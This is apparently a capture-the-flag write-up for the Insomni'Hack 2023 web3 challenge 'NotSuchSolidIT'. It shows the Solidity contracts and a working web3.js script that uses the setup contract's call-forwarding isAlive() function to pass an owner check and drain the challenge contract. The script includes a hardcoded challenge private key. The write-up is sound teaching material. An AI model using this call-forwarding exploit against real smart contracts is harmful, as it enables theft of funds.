##                       ##

########           ########

############   ############

 ###########   ########### 

   #########   #########   

"@_    #####   #####    _@"

#######             #######

############   ############

############   ############

############   ############

######    "#   #"    ######

 #####               ##### 

  #####             #####  

    ####           ####    

       '####   ####'       

D
O

N
O
T

F
E
E
D

T
H
E

B
U
G
S

NotSuchSolidIT

[Insomni'Hack, 2023]

category: web3

by J4X

Challenge

We get one challenge contract and its address, and want to get all value of it out of the contract. We also receive a address (including private key) on the chain which we can use to sign transactions.

Challenge.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.18;
contract Challenge {
    address payable owner;
    
    constructor() payable {
        owner = payable(msg.sender); 
    }
    modifier onlyOwner {
        require(msg.sender == owner);
        _;
    }
    
    function getBalance() public view returns (uint){
        return address(this).balance;
    }
    
    function withdrawAll(address payable _to) public onlyOwner {
        _to.transfer(address(this).balance);
    }
    
    function destroy() public onlyOwner {
        selfdestruct(owner);
    }
}

Setup.sol

We also get the setup contract that was used ot deploy the chall, as well as it's address.

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.1;
import "./Challenge.sol";
contract Setup {
    Challenge public chall;
    constructor() payable {
        require(msg.value >= 100, "Not enough ETH to create the challenge..");
        chall = (new Challenge){ value: 50 ether }();
    }
    function isSolved() public view returns (bool) {
        return address(chall).balance == 0;
    }
    
    function isAlive(string calldata signature, bytes calldata parameters, address addr) external returns(bytes memory) {
        (bool success, bytes memory data) = address(addr).call(
            abi.encodeWithSelector(
                bytes4(keccak256(bytes(signature))),
                parameters
            )
        );
        require(success, 'Call failed');
        return data;
    }
}

Solution

Here the contract by itself is pretty ok. The vulnerability lies in the setup contract being able to execute functions of the challenge contract, using the isAlive() function. As the withdrawAll() only checks for the msg.sender being the owner, which the setup contract is, it can be used to call the function via the setup contract. Below this you can see an example script that exploits this vulnerability.

const Web3 = require('web3');
const setupContractAbi = require('./abi_setup.json');
async function sendTransaction() {
  // create a web3 instance
  const web3 = new Web3('https://notsuchsolidit.insomnihack.ch:32833');
  // create a contract instance for the setup contract
  const setupContractAddress = '0x876807312079af775c49c916856A2D65f904e612';
  const setupContract = new web3.eth.Contract(setupContractAbi, setupContractAddress);
  // define the function to call
  const signature = 'withdrawAll(address)';
  const parameters = Buffer.from('133756e1688E475c401d1569565e8E16E65B1337', 'hex');
  const addr = '0x874f54e755ec1e2a9ea083bd6d9c89148cea34d4';
  const functionToCallabi = setupContract.methods.isAlive(signature, parameters, addr).encodeABI();
  // sign the transaction
  const privateKey = 'edbc6d1a8360d0c02d4063cdd0a23b55c469c90d3cfbc2c88a015f9dd92d22b3';
  const fromAddress = '0x133756e1688E475c401d1569565e8E16E65B1337';
  const nonce = await web3.eth.getTransactionCount(fromAddress);
  const gasPrice = await web3.eth.getGasPrice();
  const gasLimit = 1000000;
  const txObject = {
    from: fromAddress,
    to: setupContractAddress,
    gas: gasLimit,
    gasPrice: gasPrice,
    nonce: nonce,
    data: functionToCallabi,
  };
  const signedTx = await web3.eth.accounts.signTransaction(txObject, privateKey);
  const serializedTx = signedTx.rawTransaction;
  // send the transaction
  const receipt = await web3.eth.sendSignedTransaction(serializedTx);
  console.log('Transaction hash:', receipt.transactionHash);
}
sendTransaction();

Now you just need to run this script

--> Flag

/writeups/ $

$